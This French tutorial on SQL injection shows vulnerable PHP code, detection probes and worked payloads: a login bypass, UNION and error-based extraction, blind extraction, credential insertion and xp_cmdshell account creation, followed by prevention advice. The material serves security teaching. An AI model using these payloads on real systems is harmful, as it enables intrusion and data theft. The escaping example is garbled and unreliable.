Injection SQL
Définition
L’injection SQL — communément appelée SQLi — est une technique d’attaque qui consiste à insérer du code SQL malveillant dans une requête envoyée à une base de données exploitée par une application (web en général).
Pour comprendre son fonctionnement, il faut au préalable savoir comment SQL intervient dans une application web :
-
L’utilisateur interagit avec l’application en lui fournissant des informations (ex.: soumission d’un formulaire de connexion dans lequel ont été renseignés noms de login et mot de passe)
-
L’application récupère ces informations et les intègre dans des requêtes SQL pour interroger sa base de données
-
La base de donnée exécute ces requêtes SQL et renvoie leurs résultats à l’application
-
L’application intègre alors ces résultats dans un visuel écran qui est finalement présenté à l’utilisateur
Si aucune précaution n’est prise au moment où les informations fournies par l’utilisateur sont intégrées dans les requêtes SQL, celles-ci peuvent provoquer des résultats inattendus au niveau de l’application lors de leur exécution.
L’injection SQL consiste justement pour un attaquant à insérer du code SQL dans des requêtes construites dynamiquement de façon à modifier leur comportement.
Les impacts potentiels de ces comportements inattendus sont par exemple :
-
le vol de données sensibles
-
le contournement de l’authentification
-
la modification ou suppression de données
-
Dans certains cas, l’exécution de code arbitraire sur le serveur
En 2021, les injections SQL occupent la 3ème place dans la liste des vulnérabilités les plus critiques et les plus courantes selon l’OWASP . (voir Top 10 Web Application Security Risks
)
Exemple de code vulnérable
Ci-dessous figure un extrait de code PHP, vulnérable à l’injection SQL, qui vérifie les identifiant/mot de passe pour permettre l’authentification :
[...]
// Récupération des données du formulaire
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$login = $_POST['login'];
$password = $_POST['password'];
// Requête SQL vulnérable à l'injection SQL
$sql = "SELECT * FROM utilisateurs WHERE login = '$login' AND password = '$password'"; (1)
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "Connexion réussie !";
} else {
echo "Identifiants incorrects.";
}
}
1 | Les données saisies par l’utilisateur ($login et $password ) sont directement intégrées dans la requête SQL. |
Ce code vulnérable peut être exploité par un attaquant si celui-ci fournit par exemple dans le champ “login” du formulaire la valeur admin' --
.
En effet, ceci transforme la requête en :
SELECT * FROM utilisateurs WHERE login = 'admin' --' AND password = '$password'
Le --
commente la suite de la requête SQL, ce qui a pour conséquence de contourner la vérification du mot de passe et de permettre éventuellement à l’attaquant de s’authentifier en tant qu'“admin” sur le site.
Détection
Pour détecter la vulnérabilité d’une application à l’injection SQL, on peut :
-
forger manuellement des requête SQL malveillantes
-
utiliser des outils dédiés
-
Exemple: SqlMap
-
“Forgeage” de requêtes SQL malveillantes
L’objectif consiste à modifier les requêtes SQL prévues à l’origine par l’application à attaquer pour évaluer leur impact sur son fonctionnement.
Il existe plusieurs stratégies :
-
Provoquer intentionnellement des erreurs SQL
Exemples :
-
Insérer un guillement simple :
'
-
Comparer avec 2 guillemets simples :
'
'
-
-
Modifier les chaînes par un contenu équivalent dans le langage SQL
Exemple :
Soit une requête SQL comportant une chaîne de caractères “hello”.
On essaye différentes syntaxes pour exprimer cette même chaîne de caractères selon le SGB utilisé (
to'||'to
pour Oracle,to'%2b’to (%2B = + )
dans SQL Server,to' 'to
dans MySQL).Si le contenu obtenu est similaire, l’application est probablement vulnérable à l’injection SQL
-
Modifier les valeurs numériques par un contenu équivalent dans le langage SQL
Exemple :
Soit une requête SQL comportant une valeur numérique.
On essaye de ramplacer ce nombre par une équvalence (
1
remplacé par2-1
)Si le contenu obtenu est similaire, l’application est probablement vulnérable à l’injection SQL
-
Ajouter une opération logique
Exemple :
On insère des opérations logiques (
or 1=1
,and 1=0
,and 1 = 1
) dans la requête et on observe le résultat à l’affichageSi le contenu obtenu est différent, l’application est probablement vulnérable à l’injection SQL
-
Ajouter un temps d’attente
Exemple :
On insère un délai pour l’obtention du résultat de la requête SQL de départ :
-
toto' and benchmark(10000000,md5(1))-
) dans MySQL, -
toto'; waitfor delay '0:1'-
dans SQL Server
Si le contenu obtenu est similaire mais avec un certain retard, l’application est probablement vulnérable à l’injection SQL
-
Outils dédiés
sqlmap
est un outil open source qui permet d’automatiser la détection et l’exploitation d’injections SQL. C’est un outil très complet qui propose une multitude de fonctionnalités et d’options permettant d’aller jusqu’à la compromission du serveur SQL si les conditions le permettent.
Avant d’aller plus loin, il est important de noter que sqlmap génère potentiellement beaucoup de trafic et que son utilisation est illégale sans une autorisation de la part du propriétaire du système testé.
Sqlmap, l’outil pour identifier et exploiter des injections SQL
Voir par exemple Sqlmap pour plus détails sur l’utilisation de cet outil.
Exploitation des injections SQL
Les injections SQL autorisent plusieurs types d’exploitation :
-
L’extraction de données
-
La modification de données
-
L’utilisation de fonctions du SGBD
Extraction malveillante des données
Parmi les extractions, on trouve :
-
l’extraction directe
-
l’extraction basée sur les messages d’erreur
-
l’extraction en “aveugle” basée sur le temps ou les opérations booléennes
Extraction directe
L’extraction de données directe est une technique où un attaquant manipule une requête SQL pour obtenir directement des données de la base de données, souvent en contournant les contrôles d’accès.
Voici un exemple de cette technique :
Supposons une application de vente en ligne qui propose une fonctionnalité de recherche de livres par auteur en utilisant une requête vulnérable :
$resultats = "SELECT * FROM livres WHERE auteur='".$nom."'"
if (!empty($resultats))
// affichage du contenu de $resultats
Un attaquant pourrait exploiter cette vulnérabilité en injectant dans $nom
la chaîne de caractères tolkien ' UNION SELECT password FROM users --
.
La requête résultante serait alors :
$resultats = "SELECT * FROM livres WHERE auteur='tolkien' UNION SELECT password FROM users -- '"
if (!empty($resultats))
// affichage du contenu de $resultats
Grâce à l’usage du mot clé UNION
, les résultats de la requête supplémentaire SELECT password FROM users
sont ajoutés aux renseignements des livres
⇒ l’attaquant a maintenant en sa possession les mots de passe des utilisateurs
Extraction basée sur les messages d’erreur
L’extraction de données basée sur les messages d’erreur, aussi appelée "SQL injection error-based", est une technique qui exploite les messages d’erreur détaillés renvoyés par la base de données pour extraire des informations.
Voici un exemple de cette technique :
Supposons une application web avec une page de recherche d’utilisateurs utilisant une requête SQL vulnérable :
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
Un attaquant pourrait exploiter cette vulnérabilité de la manière suivante :
-
Injection initiale pour provoquer une erreur :
http://example.com/search.php?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
Cette requête provoquera une erreur du type :
Duplicate entry 'nom_de_la_base:1' for key 'group_key'
⇒ L’attaquant obtient le nom de la base de données.
-
Extraction des noms de tables :
http://example.com/search.php?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
Cette requête provoquera une erreur du type :
Erreur : Duplicate entry 'users:1' for key 'group_key'
⇒ L’attaquant a maintenant le nom d’une table.
-
Extraction des noms de colonnes :
http://example.com/search.php?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
Cette requête provoquera une erreur du type :
Erreur : Duplicate entry 'id:1' for key 'group_key'
⇒ L’attaquant obtient ainsi le nom d’une colonne.
-
Extraction de données :
http://example.com/search.php?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username FROM users LIMIT 0,1),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
Cette requête provoquera une erreur du type :
Erreur : Duplicate entry 'admin:1' for key 'group_key'
⇒ L’attaquant a réussi à extraire un nom d’utilisateur.
En répétant ces étapes et en modifiant les requêtes, l’attaquant peut progressivement extraire toutes les données de la base.
Cette technique est particulièrement dangereuse car elle permet d’extraire des données même lorsque les résultats des requêtes ne sont pas directement affichés à l’écran.
Elle souligne l’importance de désactiver l’affichage des messages d’erreur détaillés en production et d’utiliser des requêtes paramétrées pour prévenir les injections SQL.
Extraction en aveugle
► Extraction en aveugle booléenne
L’extraction en aveugle de type booléenne permet à un attaquant de déduire des informations sur la base de données en posant des questions dont les réponses ne sont pas explicitement fournies, mais dont le résultat est déterminé par le comportement de l’application (vrai ou faux). L’attaquant utilise des requêtes conditionnelles pour tester des hypothèses sur les données stockées.
Voici un exemple de cette technique :
Supposons une application de vente en ligne qui propose une fonctionnalité qui comptabilise le nombre d’œuvres écrites par un auteur en utilisant une requête vulnérable :
$resultats = "SELECT * FROM livres WHERE auteur='". $nom . "'"
if (!empty($resultats))
// affichage du nombre d'occurences contenus dans $resultats
else
// affichage de la valeur 0
L’auteur Tolkien a écrit 23 œuvres donc une recherche avec le nom “Tolkien” doit donner un résultat de 23 occurences.
Un attaquant pourrait exploiter cette vulnérabilité en injectant dans $nom
des conditions booléennes qui influencent le résultat de la requête.
SELECT * FROM livres WHERE auteur='tolkien' AND 1=1 — ' (1)
SELECT * FROM livres WHERE auteur='tolkien' AND 1=0 — ' (2)
1 | 1=1 est une affirmation toujours vraie. La valeur 23 est donc retournée |
2 | 1=0 est une affirmation toujours fausse. La valeur 0 est donc retournée |
Grâce à des conditions booléennes judicieusement construites, un attaquant peut deviner le contenu de la base de données.
SELECT * FROM livres WHERE auteur='tolkien' AND SUBSTRING(SELECT
⮩ password FROM users WHERE name='admin',0,1)='a' -- ' (1)
SELECT * FROM livres WHERE auteur='tolkien' AND SUBSTRING(SELECT
⮩ password FROM users WHERE name='admin',0,1)='b' -- ' (1)
[...]
1 | On teste lettre après lettre la valeur du mot de passe de l’utilisateur “admin” |
Cette méthode offre l’avantage d’extraire des informations sans avoir besoin de visualiser directement les résultats de la requête, ce qui peut contourner certaines protections.
Par contre, elle peut être plus lente et moins efficace que les autres méthodes, car elle nécessite d’exécuter de nombreuses requêtes SQL pour obtenir des informations.
► Extraction en aveugle basée sur le temps
L’extraction en aveugle basée sur le temps est une technique d’injection SQL utilisée pour extraire des données d’une base de données lorsque les réponses ne sont pas visibles, mais où l’attaquant peut induire des délais dans le traitement des requêtes. Cette méthode repose sur le principe que l’application peut mettre un certain temps à répondre en fonction de la validité des conditions fournies dans la requête.
Voici un exemple de cette technique :
Supposons une application de vente en ligne qui propose une fonctionnalité qui permet aux internautes de voter pour leur livre préféré :
$resultats = "SELECT * FROM livres WHERE titre='". $nom . "'"
if (!empty($resultats))
// ajout d'une voix pour le premier livre contenu dans $resultats
// affichage du message "Merci d'avoir voté"
Si la variable $nom
est “injectable”, un attaquant pourrait exploiter cette vulnérabilité en injectant dans $nom
une fonction consommatrice de temps qui influence le délai de réponse à la requête.
$resultats = "SELECT * FROM livres WHERE titre='Le seigneur
⮩ des anneaux' OR IF((SELECT COUNT(*) FROM utilisateurs
⮩ WHERE username='admin') > 0, SLEEP(5), 0) --'
Dans cet exemple, si l’utilisateur “admin” existe, la requête attendra 5 secondes avant de répondre. Sinon, elle répondra immédiatement.
Tout comme l’extraction en aveugle booléenne, cette méthode offre l’avantage d’extraire des informations sans avoir besoin de visualiser directement les résultats de la requête, ce qui peut contourner certaines protections.
Elle présente aussi l’inconvénient d’être plus lente que d’autres méthodes en raison des nombreuses requêtes SQL à exécuter pour extraire les informations. En outre, certaines protections peuvent détecter des délais suspects et bloquer l’attaquant.
Modification des données
Exemple d’utilisation :
Supposons un formulaire d’authentification qui protège l’accès à l’interface d’administration d’un site web.
La soumission des données d’authentification pourrait mener à l’exécution du code suivant :
$resultats = "SELECT * FROM users WHERE login='". $login . "'"
if (!empty($resultats) and $resultats[1] == $password)
// Authentification réussie
else
// Authentification échouée
Si la variable $login
est injectable, un attaquant peut y injecter des commandes permettant d’insérer ses propres identifiant/mot de passe dans la base de données
$resultats = "SELECT * FROM users WHERE login='fakeUser' ;
⮩ INSERT INTO users ('loginAtaquant', 'passwordAttaquant') -- '"
…ou de modifier le mot de passe administrateur
$resultats = "SELECT * FROM users WHERE login='fakeUser' ;
⮩ UPDATE users SET password='123456' WHERE login='admin' -- '"
Utilisation des fonctions du SGBD
Exemple d’utilisation :
Une librairie en ligne propose une fonctionnalité de recherche de livres par auteur.
Cette recherche pourrait mener à l’exécution du code suivant :
$resultats = "SELECT * FROM livres WHERE auteur'". $nom . "'"
if (!empty($resultats))
// affichage du contenu de $resultats
Si la variable $login
est injectable, un attaquant peut y injecter des commandes permettant d’appeler des fonctions du SGBD.
$resultats = "SELECT * FROM livres WHERE auteur='tolkien' ;
⮩ EXEC xp_cmdshell('net user monlogin monpassword /ADD') -- '"
L’utilisation de la fonction xp_cmdshell
du SGBD SQL Server a permis à l’attaquant d’ajouter son propre compte sur le système hôte du SGBD
Prévention de l’injection SQL
Parmi les bonnes pratiques admises pour se prémunir des injections SQL, on peut citer celles qui consistent à :
-
utiliser des requêtes préparées.
// Récupération des données du formulaire if ($_SERVER["REQUEST_METHOD"] == "POST") { $login = $_POST['login']; $password = $_POST['password']; // Requête préparée pour éviter l'injection SQL $stmt = $conn->prepare("SELECT * FROM utilisateurs WHERE login = ? AND password = ?"); (1) $stmt->bind_param("ss", $login, $password); (2) $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { echo "Connexion réussie !"; } else { echo "Identifiants incorrects."; } $stmt->close(); }
1 utilisation de placeholders (→ caractère ‘?’) en lieu et place des entrées utilisateur “brutes” 2 utilisation de bind_param()
qui permet de séparer les entrées utilisateur de la logique de la requête SQL. -
valider et assainir les entrées utilisateur dans les formulaires en vérifiant par exemple le type et la longueur des données et en “échappant” les caractères spéciaux
Code PHP permettant de valider un emailif (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) { // L'email est valide }
Code PHP permettant d’échapper des caractères spéciaux$login = htmlspecialchars($_POST['login'], ENT_QUOTES, 'UTF-8'); (1)
1 htmlspecialchars()
permet de convertir des caractères comme <, >, &, ' et " en leurs équivalents HTML.
Dans ce code si$_POST['login']
vaut “admin — ' ” alors$login
vaudra “admin — '” et non “admin — ' ” ('
est l’entité HTML correspondant à'
) -
accorder le moins de privilèges possibles sur la base de données
-
utiliser des firewalls applicatifs
🞄 🞄 🞄